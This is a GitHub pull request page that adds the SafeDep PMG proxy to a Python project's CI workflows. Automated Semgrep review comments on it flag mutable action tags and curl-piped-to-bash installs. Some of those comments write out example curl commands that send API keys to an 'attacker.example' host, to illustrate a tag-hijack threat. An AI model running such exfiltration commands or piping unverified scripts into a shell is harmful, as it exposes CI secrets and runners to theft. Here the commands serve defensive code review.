Skip to content

ci: integrate SafeDep PMG on all workflow jobs - #340

Open
vanshika-verma-rzp wants to merge 4 commits into
masterfrom
integrate-pmg-github-actions
Open

ci: integrate SafeDep PMG on all workflow jobs#340
vanshika-verma-rzp wants to merge 4 commits into
masterfrom
integrate-pmg-github-actions

Conversation

@vanshika-verma-rzp

@vanshika-verma-rzp vanshika-verma-rzp commented Aug 24, 2026

Copy link
Copy Markdown

What

Integrates SafeDep PMG (Package Manager Guard) into all jobs across both GitHub Actions workflows. PMG runs as a persistent proxy that intercepts every package install (pip) and auto-blocks any package flagged as malicious — with or without SafeDep credentials (falls back to free community intelligence).

Integration pattern (per SafeDep docs)

Every job now follows the same three-part pattern:

  1. Startsafedep/pmg@v1 in server-mode: true, placed right after actions/checkout so it intercepts all subsequent installs.
  2. Installs run as-is — no changes to existing install commands; the proxy env vars route them through PMG automatically.
  3. Stoppmg proxy stop --fail-on-violation as the final step with if: always(), which enforces the block (fails the job on a violation) and flushes events even when an earlier step fails.

Jobs report

Workflow Job Package installs intercepted PMG start PMG stop Notes
ci.yml build pip install build, twine Build + twine check
ci.yml test pip install responses, coverage, setup.py install Test coverage + Codecov
ci.yml publish pip install twine Tag-gated PyPI publish
python.yml deploy pip install setuptools, responses, setup.py install Matrix across Python 3–3.10

No jobs skipped — all 4 use pip and benefit from interception; none are broken by the proxy.

Config / secrets

The action references two optional secrets for SafeDep Cloud event sync:

  • SAFEDEP_API_KEY
  • SAFEDEP_TENANT_ID

Per the docs, PMG still blocks malicious packages using free community intelligence even if these are absent — empty secrets do not break the jobs. Add them to the repo to connect runs to the Endpoint Hub.

Safety / scope

  • Changes are purely additive — no existing steps, install commands, or logic were modified.
  • The only non-additive line is one incidental trailing-whitespace-only line removed in ci.yml where a new step was inserted.
  • Both workflow files validated as syntactically correct YAML; parsed job/step structure confirms all original steps remain intact.
  • python.yml's old Python matrix (3, 3.5, 3.6…) is unaffected — PMG works via proxy env vars, independent of Python version.

Discussion thread: Slack

Route package installs through PMG's persistent proxy to auto-block
malicious packages in CI. Added to every job across both workflows:

- ci.yml: build, test, publish
- python.yml: deploy

Each job starts safedep/pmg@v1 in server-mode after checkout and runs
'pmg proxy stop --fail-on-violation' with if: always() as the final step
to enforce policy and flush events.
steps:
- uses: actions/checkout@v2
- name: Start PMG proxy
uses: safedep/pmg@v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The safedep/pmg@v1 step trusts a mutable tag, allowing its owner or an attacker with release access to change code executed in the deploy job. The action receives SAFEDEP_API_KEY and SAFEDEP_TENANT_ID, which malicious code could exfiltrate.

More details about this

The deploy job runs the third-party safedep/pmg action through the mutable v1 reference. The owner of safedep/pmg can move v1 to a new commit without changing this workflow, so a compromised account or release process could make a future workflow execute attacker-controlled action code.

A plausible attack would be:

  1. An attacker gains control of the safedep/pmg repository or its release permissions and repoints the v1 tag to a malicious commit.
  2. A push to master starts the deploy job, and the Start PMG proxy step downloads and executes that new commit.
  3. The malicious action reads the api-key value from ${{ secrets.SAFEDEP_API_KEY }} and the tenant-id from ${{ secrets.SAFEDEP_TENANT_ID }} because both are supplied to safedep/pmg as action inputs.
  4. It can send those values to an attacker-controlled endpoint, for example with a command equivalent to curl -X POST --data "$SAFEDEP_API_KEY" https://attacker.example/collect, and can also tamper with the workspace before pip install and the test commands run.

Because v1 is resolved at workflow runtime, the same YAML can begin executing different code on a later run, without a review or change in this repository.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: safedep/pmg@v1
# Replace with the verified 40-character commit SHA for the trusted safedep/pmg v1 release.
uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
View step-by-step instructions
  1. Replace the mutable tag with the full 40-character commit SHA that corresponds to the trusted safedep/pmg v1 release: uses: safedep/pmg@<40-character-commit-sha> # v1.
  2. Verify that the SHA contains exactly 40 hexadecimal characters and points to the intended v1 release before applying it.
  3. Keep the existing with block unchanged so the PMG proxy continues receiving server-mode, api-key, and tenant-id.
💬 Ignore this finding

Leave a nosemgrep comment directly above or at the end of line 25 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag

Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment thread .github/workflows/ci.yml
steps:
- uses: actions/checkout@v2
- name: Start PMG proxy
uses: safedep/pmg@v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The safedep/pmg@v1 workflow action can be silently changed by moving its tag. A compromised version would run with SafeDep and PyPI publishing credentials, enabling secret theft or tampering with released packages.

More details about this

safedep/pmg@v1 uses the mutable v1 tag rather than an immutable commit. The action runs in both the test and publish jobs; in publish, it executes on tag releases with SAFEDEP_API_KEY, SAFEDEP_TENANT_ID, TWINE_USERNAME, and TWINE_PASSWORD available to the workflow. If the v1 tag is moved—or the action repository is compromised—an attacker could update the action without changing this workflow. For example:

  1. The attacker repoints safedep/pmg's v1 tag to a malicious action.
  2. A maintainer creates a release tag, causing the publish job to run because github.ref starts with refs/tags/v.
  3. The malicious safedep/pmg step runs before Publish packages to PyPi and can read workflow environment values, including TWINE_PASSWORD and the SafeDep credentials.
  4. It can send those values to an attacker-controlled endpoint, alter files in dist, or interfere with the subsequent twine upload, potentially exposing credentials or publishing attacker-controlled package contents.

The same mutable action reference is also used in the test job, where it executes during ordinary workflow runs and can access the configured SafeDep secrets.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: safedep/pmg@v1
uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
View step-by-step instructions
  1. Resolve the trusted v1 release of safedep/pmg to its full 40-character commit SHA from the repository’s release or tag history.
  2. Replace both safedep/pmg@v1 references with that immutable SHA, preserving the version comment, for example: uses: safedep/pmg@<40-character-commit-sha> # v1.
  3. Confirm that the selected SHA is exactly 40 hexadecimal characters and points to the intended v1 release. Commit pinning prevents the action from changing silently if the tag is repointed.
💬 Ignore this finding

Leave a nosemgrep comment directly above or at the end of line 81 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag

Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment thread .github/workflows/ci.yml
steps:
- uses: actions/checkout@v3
- name: Start PMG proxy
uses: safedep/pmg@v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The safedep/pmg action is pinned to the mutable v1 tag. If that tag is repointed, a malicious action can run in the build and test jobs and steal the supplied SafeDep secrets or abuse runner permissions.

More details about this

uses: safedep/pmg@v1 runs the safedep/pmg GitHub Action from the mutable v1 tag. The tag can be moved to a different commit without changing this workflow, so a compromised or malicious action release would execute in both the build and test jobs with the workflow’s runner permissions and the supplied SAFEDEP_API_KEY and SAFEDEP_TENANT_ID inputs.

A plausible attack would be:

  1. An attacker compromises the safedep/pmg repository or gains permission to update its v1 tag.
  2. They repoint v1 to an action implementation that runs a command such as curl -X POST -d "key=$INPUT_API_KEY&tenant=$INPUT_TENANT_ID" https://attacker.example/collect.
  3. On the next workflow run, each Start PMG proxy step resolves safedep/pmg@v1 to the attacker-controlled commit and executes it.
  4. The malicious action reads the values passed from ${{ secrets.SAFEDEP_API_KEY }} and ${{ secrets.SAFEDEP_TENANT_ID }}, then sends them to the attacker. It could also use the job’s GitHub token or runner access to tamper with the repository, artifacts, or subsequent build steps, depending on the workflow permissions.

Because the reference is @v1 rather than an immutable commit, the same workflow review does not guarantee that future runs execute the code that was originally reviewed.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: safedep/pmg@v1
uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
# Replace <VERIFIED_VALUE_REQUIRED> with the verified 40-character commit SHA for the safedep/pmg v1 release.
View step-by-step instructions
  1. Identify the trusted commit for the safedep/pmg v1 release from the action’s official repository or release history.
  2. Replace each uses: safedep/pmg@v1 reference with the complete 40-character commit SHA, for example: uses: safedep/pmg@<40-character-commit-sha> # v1.
  3. Update every occurrence in this workflow, including the build and test jobs, so they use the same verified commit. Pinning to a commit prevents the action owner from silently changing the code behind the v1 tag.
💬 Ignore this finding

Leave a nosemgrep comment directly above or at the end of line 50 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag

Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment thread .github/workflows/ci.yml
steps:
- uses: actions/checkout@v3
- name: Start PMG proxy
uses: safedep/pmg@v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The build workflow executes safedep/pmg through the mutable v1 tag. If that tag is repointed, a future run can execute attacker-controlled action code with the SafeDep API key and tenant ID.

More details about this

uses: safedep/pmg@v1 runs the safedep/pmg action from the mutable v1 tag. The tag can be moved by the action owner—or by an attacker who compromises that repository—so a later workflow run may execute different code without any change to this repository.

A plausible attack is:

  1. An attacker gains control of the safedep/pmg repository or its release process and repoints v1 to a malicious commit.
  2. A normal push to master starts the build job, which executes that new commit at Start PMG proxy.
  3. The action receives ${{ secrets.SAFEDEP_API_KEY }} and ${{ secrets.SAFEDEP_API_KEY }}/${{ secrets.SAFEDEP_API_KEY }}-adjacent workflow credentials through its with inputs; malicious action code can read the supplied api-key and tenant-id values and send them to an attacker-controlled server.
  4. Because the compromised action runs before dependency installation and packaging, it can also alter the workspace, inspect repository contents, or influence the later python -m build and twine commands. The stolen credentials could let the attacker access the SafeDep tenant or abuse its API from outside the workflow.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: safedep/pmg@v1
uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1
# Replace the placeholder with the verified 40-character commit SHA for safedep/pmg release v1.
View step-by-step instructions
  1. Replace the mutable v1 reference with the full 40-character commit SHA for the intended safedep/pmg release:
    uses: safedep/pmg@<40-character-commit-sha> # v1
  2. Verify that the commit SHA belongs to the trusted safedep/pmg repository and corresponds to the version currently required by this workflow.
  3. Keep the version comment, such as # v1, so the pinned commit’s intended release remains clear.
💬 Ignore this finding

Leave a nosemgrep comment directly above or at the end of line 18 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag

Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment thread .github/workflows/pmg-test.yml Outdated
api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }}
tenant-id: ${{ secrets.PMG_TENANT_ID }}

- uses: actions/setup-node@v4

@semgrep-code-razorpay semgrep-code-razorpay Bot Aug 24, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

🚀 Fixed in commit a244ee6 🚀

Comment thread .github/workflows/pmg-test.yml Outdated
runs-on: ubuntu-latest
steps:
- name: Setup PMG proxy
uses: safedep/pmg@v1

@semgrep-code-razorpay semgrep-code-razorpay Bot Aug 24, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

🍰 Removed in commit a6fa245 🍰

Comment thread .github/workflows/pmg-test.yml Outdated
api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }}
tenant-id: ${{ secrets.PMG_TENANT_ID }}

- uses: actions/setup-python@v5

@semgrep-code-razorpay semgrep-code-razorpay Bot Aug 24, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

🥳 Fixed in commit a244ee6 🥳

Comment thread .github/workflows/pmg-test.yml Outdated
runs-on: ubuntu-latest
steps:
- name: Setup PMG proxy
uses: safedep/pmg@v1

@semgrep-code-razorpay semgrep-code-razorpay Bot Aug 24, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

🌟 Removed in commit a6fa245 🌟

Brings this repo onto the same integration used in ai-playbook and i18nify,
with the enforcement fix from blade.

- Setup step renamed to "Setup PMG proxy" and given `id: pmg-setup`, so the
  enforce step can tell whether setup actually ran.
- Enforce step runs `--fail-on-violation` only when setup succeeded. With a
  bare `if: always()`, any failure before the PMG step makes GitHub skip
  setup while still running enforce, which then dies with
  `pmg: command not found` (exit 127) and buries the real error.
- Removed additions that are not part of the reference integration:
  `permissions:` blocks, workflow comments, pinned action SHAs and
  non-standard step names.
- Added pmg-test.yml, byte-identical to the copy in ai-playbook and i18nify,
  which demonstrates the proxy blocking a known-malicious package and
  syncing the event to SafeDep Cloud.

The workflow files are now the master versions plus the two PMG steps and
nothing else: 62 lines added, none removed or modified.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Comment thread .github/workflows/pmg-test.yml Outdated
Comment on lines +47 to +53
run: |
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
nvm install 20
echo "$NVM_DIR/versions/node/$(nvm version 20)/bin" >> $GITHUB_PATH

@semgrep-code-razorpay semgrep-code-razorpay Bot Aug 25, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A run: step pipes the output of curl or wget directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.

🍰 Removed in commit a6fa245 🍰

Comment thread .github/workflows/pmg-test.yml Outdated
Comment on lines +21 to +27
run: |
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
nvm install 20
echo "$NVM_DIR/versions/node/$(nvm version 20)/bin" >> $GITHUB_PATH

@semgrep-code-razorpay semgrep-code-razorpay Bot Aug 25, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A run: step pipes the output of curl or wget directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.

Removed in commit a6fa245

pmg-test.yml was added alongside the PMG integration purely to prove the proxy
behaves correctly inside this repository's own CI environment. It ran two jobs:
one installing a known-clean package to confirm PMG does not block legitimate
traffic, and one installing the deliberately-flagged safedep-test-pkg@0.1.3 to
confirm the block is caught and `pmg proxy stop --fail-on-violation` fails the
job as intended.

That validation is now complete across every repository in this rollout, so the
workflow has served its purpose. Leaving it in place would mean a permanent CI
job that installs a deliberately-flagged package on every push and pull request
- burning runner time and producing a red check that is expected-to-fail, which
is exactly the kind of noise that trains people to ignore CI signal.

The PMG integration itself is untouched. The safedep/pmg setup steps and the
`pmg proxy stop --fail-on-violation` enforcement steps in this repository's real
build and test workflows remain exactly as they were.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant